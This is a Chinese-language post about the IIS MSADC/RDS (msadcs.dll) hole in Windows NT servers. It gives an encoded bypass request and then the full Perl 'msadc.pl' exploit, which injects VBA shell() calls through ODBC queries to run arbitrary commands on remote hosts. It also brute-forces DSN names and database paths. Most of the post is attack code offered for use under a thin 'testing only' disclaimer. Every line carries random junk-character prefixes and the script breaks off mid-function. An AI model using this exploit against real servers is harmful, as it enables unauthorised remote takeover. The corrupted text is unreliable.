IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
]q DhGt f?T6Ne' 涉及程序:
[$_d|Z Microsoft NT server
D;.O# bS V`$Jan 描述:
z5PFppSQ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
GUJ[2/V~A K^bzZa+a 详细:
QLYb>8?"C 如果你没有时间读详细内容的话,就删除:
bE
_=L=NG c:\Program Files\Common Files\System\Msadc\msadcs.dll
iva&W 有关的安全问题就没有了。
W8j)2nKD 5;5;bBo~ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
mAh0xgm d?(#NP#; 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
5inmFT?9Z 关于利用ODBC远程漏洞的描述,请参看:
Q.Hy"~ mRB-} http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm @BWroNg{ n<6p 0w 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
1J<Wth{ http://www.microsoft.com/security/bulletins/MS99-025faq.asp A6Ttx{] w*[i!i 这里不再论述。
9E^IEwq' `f`\j
-Lu 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
`An`"$z !4cR&@[ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
)NJD+yQ% 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
z5-vx ` 59gt#1k jPg 8>Z&D #将下面这段保存为txt文件,然后: "perl -x 文件名"
w(pLU$6X |LA./%U #!perl
$lmbeW[0 #
)Q\nR`k # MSADC/RDS 'usage' (aka exploit) script
f^il|Obzl #
hko0
?z # by rain.forest.puppy
GGk.-Ew@ #
U.<';fKnT # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
qy=4zOOD# # beta test and find errors!
hD!W&Er WUx}+3eWv use Socket; use Getopt::Std;
rH7|r\] r getopts("e:vd:h:XR", \%args);
vt}+d
StUm 8qL*Nf print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Xk%92Pto g#qt<d}j if (!defined $args{h} && !defined $args{R}) {
#y13(u,dN print qq~
iLw O4i Usage: msadc.pl -h <host> { -d <delay> -X -v }
$6w[h7 -h <host> = host you want to scan (ip or domain)
!qPVC\l -d <seconds> = delay between calls, default 1 second
tjc3;9 -X = dump Index Server path table, if available
P]:r'^Yn -v = verbose
A\Rkt;: -e = external dictionary file for step 5
CrC1&F\dq 8#NtZ Or a -R will resume a command session
YKq, `7"% S'qEBz
~; exit;}
)p'ZSXb z><=F,W $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
=zBcfFii`w if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
"1>I/CM if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
!a?$ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
]kA0C~4 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
[mphiH/ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
wjW>#DE so}(*E&(a if (!defined $args{R}){ $ret = &has_msadc;
r#
MJ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
tr0P;}= _cdrz)T print "Please type the NT commandline you want to run (cmd /c assumed):\n"
+@[T0cXp . "cmd /c ";
s7=CH $in=<STDIN>; chomp $in;
V8ka*VJ(B $command="cmd /c " . $in ;
B9pro%R1Bo j+AAhn if (defined $args{R}) {&load; exit;}
d;O16xcM/ GlYNC&,VL print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
q15t7-Z6 &try_btcustmr;
PPO*&=!] aOHf#!/"sb print "\nStep 2: Trying to make our own DSN...";
d:*,HzG &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
aP^,@RrL i:W.,w%8 print "\nStep 3: Trying known DSNs...";
>2l1t}"\ &known_dsn;
5Z/x Y& c'n EbelE print "\nStep 4: Trying known .mdbs...";
/tI8JXcUK &known_mdb;
n{JBC%^g M72. if (defined $args{e}){
asqbLtQ print "\nStep 5: Trying dictionary of DSN names...";
_4F(WC co &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
j\&
` *4#)or print "Sorry Charley...maybe next time?\n";
jY'svD~ exit;
;Ak<O[ V(Ll]g/T_; ##############################################################################
PjZsMHW% ;Z|X` <6g sub sendraw { # ripped and modded from whisker
7YT%.ID sleep($delay); # it's a DoS on the server! At least on mine...
yq+'O&+
my ($pstr)=@_;
bb}zn'xC socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
U_ n1QU die("Socket problems\n");
gSQq if(connect(S,pack "SnA4x8",2,80,$target)){
6Mu_9UAl` select(S); $|=1;
Zg1=g_xY print $pstr; my @in=<S>;
Rd~-.&
select(STDOUT); close(S);
9/3gF)I} return @in;
%suSZw` } else { die("Can't connect...\n"); }}
6L[ Yn?; UFBggT\ ##############################################################################
SV#$Cf g o1<Y#db[ sub make_header { # make the HTTP request
4ti\;55{W my $msadc=<<EOT
X!Ag7^E POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
5/Viz`hsz User-Agent: ACTIVEDATA
g
bDre~| Host: $ip
3lzjY.]Pgv Content-Length: $clen
CY~]lQ Connection: Keep-Alive
+bpUb0.W D/QSC]" ADCClientVersion:01.06
&R+/Ie#0dz Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
@9_H4V . 4E5{F{~ --!ADM!ROX!YOUR!WORLD!
=K'X:UM Content-Type: application/x-varg
AjBwj5K Content-Length: $reqlen
.l?sYe64S C+ar]Vi EOT
C(-w A ; $msadc=~s/\n/\r\n/g;
r
>bMx~a] return $msadc;}
)H@"S]?7i" Vb^P{F ##############################################################################
#MkXio; h -X+G_rY sub make_req { # make the RDS request
qv\n]M_& my ($switch, $p1, $p2)=@_;
Er/h:= my $req=""; my $t1, $t2, $query, $dsn;
278:5yC kN (*.Q|VZ if ($switch==1){ # this is the btcustmr.mdb query
4/UY*Us& $query="Select * from Customers where City=" . make_shell();
Wno{&I63 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
u^.7zL+ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
w#|uR^~ i) v
] elsif ($switch==2){ # this is general make table query
<q@/Yy32 $query="create table AZZ (B int, C varchar(10))";
@@~OA>^ $dsn="$p1";}
fA"N5qQI( "Bl]_YPv elsif ($switch==3){ # this is general exploit table query
;e,_F/@` $query="select * from AZZ where C=" . make_shell();
q.sErr[zc $dsn="$p1";}
to9~l"n.s !p$HS0c elsif ($switch==4){ # attempt to hork file info from index server
y4sKe:@2 $query="select path from scope()";
}-YM>q $dsn="Provider=MSIDXS;";}
4WCWu} 1;_tu elsif ($switch==5){ # bad query
7<FI[ $query="select";
[7x,& $dsn="$p1";}
*_feD+rq o/0cd $t1= make_unicode($query);
iF]G$@rbU $t2= make_unicode($dsn);
We%HdTKT $req = "\x02\x00\x03\x00";
;75m 9yGo $req.= "\x08\x00" . pack ("S1", length($t1));
%siBCjvo= $req.= "\x00\x00" . $t1 ;
&b :u~puM $req.= "\x08\x00" . pack ("S1", length($t2));
JX4uH>6 $req.= "\x00\x00" . $t2 ;
A|jmp~@K)+ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
XC44]o4jx return $req;}
'-9B`O,& Zo$,{rl ##############################################################################
t
Qo)* z 2J?ON|2M sub make_shell { # this makes the shell() statement
0"l*8%g return "'|shell(\"$command\")|'";}
u|]{|Ya'% 6/{V#.( ##############################################################################
FuqMT` TA;r sub make_unicode { # quick little function to convert to unicode
."`mh&+` my ($in)=@_; my $out;
/QuuBtp for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
&CP0T:h return $out;}
NTq#'O) f 2@7f^be ##############################################################################
KX8$j$yW \Af25Mcf: sub rdo_success { # checks for RDO return success (this is kludge)
Qm9r>m6p@N my (@in) = @_; my $base=content_start(@in);
W5 l)mAv if($in[$base]=~/multipart\/mixed/){
iczJXA+ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
/G[2
return 0;}
\
a}6NIo 5e)2Jt: ##############################################################################
Xn:5pd;?B6 }ACWSk WK sub make_dsn { # this makes a DSN for us
(!'=?B " my @drives=("c","d","e","f");
m@(8-_ print "\nMaking DSN: ";
|#OMrP+oi foreach $drive (@drives) {
ad
<z+a print "$drive: ";
W^U6O&-K my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
@34Z/%A "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
<HYK9{Q . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
LYTx8 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
h>0R!Rl8 return 0 if $2 eq "404"; # not found/doesn't exist
r0MUv}p#|L if($2 eq "200") {
=yT3#A~<G foreach $line (@results) {
|:qaF return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
Tt^PiaS! } return 0;}
o 8fB XFj\H(D ##############################################################################
3)D' Yx W^(:\IvV sub verify_exists {
FE'|wf my ($page)=@_;
w_gFN%8 my @results=sendraw("GET $page HTTP/1.0\n\n");
+-%&,>R return $results[0];}
yT3q~#: 4?eO1=a ##############################################################################
a"ct"g= /-C`*P=:u sub try_btcustmr {
rN$U%\.I my @drives=("c","d","e","f");
W#|30RU.G my @dirs=("winnt","winnt35","winnt351","win","windows");
$!?tJ@{ 2il)@&^ foreach $dir (@dirs) {
z2.9l?"rfQ print "$dir -> "; # fun status so you can see progress
.8.4!6~@ foreach $drive (@drives) {
Ai*R%# print "$drive: "; # ditto
^4G%*- $reqlen=length( make_req(1,$drive,$dir) ) - 28;
m=m T`EP $reqlenlen=length( "$reqlen" );
GbFtX\s+5j $clen= 206 + $reqlenlen + $reqlen;
jRn5)u ~ShoU
m[ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
)Z/L if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
hq[:U?!Tt else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
st7\k]J\ W't?aj I| ##############################################################################
0fOx&"UAB Q4H(JD1f) sub odbc_error {
iY~.U`b` my (@in)=@_; my $base;
4z;@1nN_8a my $base = content_start(@in);
\zx &5a
# if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
{zckY $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
4J~ZZ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
XJ$mRh0`K $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
m2{DLw". return $in[$base+4].$in[$base+5].$in[$base+6];}
9~rrN60Q print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
;nSOeAF)Q print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
.
X: $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
*A^`[_y LMGo8%2I ##############################################################################
R>C^duos. V(6*wQ`& sub verbose {
sxK|0i}6 my ($in)=@_;
"VIoVu return if !$verbose;
(GCe D- print STDOUT "\n$in\n";}
qj.>4d g+RgDt9 ##############################################################################
^CBc~um2 /W|=Or2oR sub save {
<<SUIY@X my ($p1, $p2, $p3, $p4)=@_;
vC
[uEx: open(OUT, ">rds.save") || print "Problem saving parameters...\n";
w7#9t print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
,P>xpfdK close OUT;}
On`T
pz/ :-[y`/R ##############################################################################
If*+yr| }G/#Nb) sub load {
)%zOq:{\5 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
7Rq|N$y.3 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
5LX'fL7zU @p=<IN>; close(IN);
.#OD=wkN0 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
2 -C*RHRx $target= inet_aton($ip) || die("inet_aton problems");
4Ou5Vp&y print "Resuming to $ip ...";
RE<s$B$[ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
:>q*#vlb if($p[1]==1) {
/0_^Z2 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
$b CN;yE $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
.%"s|
D my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
ahUc;S:v# if (rdo_success(@results)){print "Success!\n";}
}x~1w:zHd else { print "failed\n"; verbose(odbc_error(@results));}}
yKhN1kY elsif ($p[1]==3){
2=%R>&]* if(run_query("$p[3]")){
0K<|>I print "Success!\n";} else { print "failed\n"; }}
6OPYq*| elsif ($p[1]==4){
,_iR if(run_query($drvst . "$p[3]")){
vVyX[ZZ print "Success!\n"; } else { print "failed\n"; }}
p"dK,A5#) exit;}
0XzrzT"& O;6am++M@ ##############################################################################
ll^#I/ W1!Nq` sub create_table {
f\vy5'' my ($in)=@_;
vU9j|z $reqlen=length( make_req(2,$in,"") ) - 28;
MXP3ZN' $reqlenlen=length( "$reqlen" );
3 q^^Os $clen= 206 + $reqlenlen + $reqlen;
X+%5q =N my @results=sendraw(make_header() . make_req(2,$in,""));
!uc"|S? return 1 if rdo_success(@results);
K\VL[HP- my $temp= odbc_error(@results); verbose($temp);
wfMtWXd;KB return 1 if $temp=~/Table 'AZZ' already exists/;
sQ
aP:@ return 0;}
X4$86 P$H9 ##############################################################################
isR)^fI| 45(n!"u65 sub known_dsn {
O/ih9, # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
U{Xx)l/o my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
8h '~* "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
z#u<]] 5 "banner", "banners", "ads", "ADCDemo", "ADCTest");
N ]|P||fC %NH{%K, foreach $dSn (@dsns) {
l\DcXgD
x print ".";
xV\mS+#
next if (!is_access("DSN=$dSn"));
50R&;+b if(create_table("DSN=$dSn")){
uG^RU\( print "$dSn successful\n";
*>,#'C2 if(run_query("DSN=$dSn")){
mM;5UPbZ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
T$pBgS> print "Something's borked. Use verbose next time\n";}}} print "\n";}
{x\lK; r"hogmFD; ##############################################################################
}{S pV 2PDU(R sub is_access {
~a06x^=j my ($in)=@_;
y3Q2d7G $reqlen=length( make_req(5,$in,"") ) - 28;
n1Fp$9% $reqlenlen=length( "$reqlen" );
mhi^zHpa $clen= 206 + $reqlenlen + $reqlen;
qZB}}pM# my @results=sendraw(make_header() . make_req(5,$in,""));
grZ?F~P8 my $temp= odbc_error(@results);
I=c}6 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
!)//b] return 0;}
TD^w|U. !WgVk7aP` ##############################################################################
=%ry-n G P+gYLX8 sub run_query {
;NPbEPL[5 my ($in)=@_;
]1dnp]r $reqlen=length( make_req(3,$in,"") ) - 28;
@#1T-* $reqlenlen=length( "$reqlen" );
vD91t/_+ $clen= 206 + $reqlenlen + $reqlen;
Z~Vups#+f my @results=sendraw(make_header() . make_req(3,$in,""));
nJr:U2d return 1 if rdo_success(@results);
&<$YR~g5j$ my $temp= odbc_error(@results); verbose($temp);
;-"'sEu} return 0;}
D:.1Be`Tv I%'6IpR"d ##############################################################################
{Q/_I@m]. EF5:$# sub known_mdb {
4<<T#oW.:G my @drives=("c","d","e","f","g");
;vp[J&= my @dirs=("winnt","winnt35","winnt351","win","windows");
q'CtfmI`r= my $dir, $drive, $mdb;
|S.;']t+ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
jA,|.P> ?@iGECll # this is sparse, because I don't know of many
nS9 kwaO my @sysmdbs=( "\\catroot\\icatalog.mdb",
BWev(SF{Ny "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
W_FN*Er "\\system32\\certmdb.mdb",
0UN65JBuD "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
]s>y se K0-AP
$ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
m-AW}1:\f "\\cfusion\\cfapps\\forums\\forums_.mdb",
a[hQ<@1O "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
7 P/1'f3 "\\cfusion\\cfapps\\security\\realm_.mdb",
i"OY=iw-N "\\cfusion\\cfapps\\security\\data\\realm.mdb",
LG:Mksd8=4 "\\cfusion\\database\\cfexamples.mdb",
KlSg0s "\\cfusion\\database\\cfsnippets.mdb",
)2g-{cYv "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
Sc,ajT "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
3c[< #]8S "\\cfusion\\brighttiger\\database\\cleam.mdb",
-esq]c%3 "\\cfusion\\database\\smpolicy.mdb",
Y8@TY? "\\cfusion\\database\cypress.mdb",
q7aH=dhw "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
m5kt
O^EU "\\website\\cgi-win\\dbsample.mdb",
kx6-8j3gD7 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
/;V:<mekf "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
b6ui&Y8z ); #these are just
^hyp}WN foreach $drive (@drives) {
:#nv:~2] foreach $dir (@dirs){
PsOu:`=r foreach $mdb (@sysmdbs) {
h%+6y print ".";
^/:G`' if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
4fgYO] print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
%=<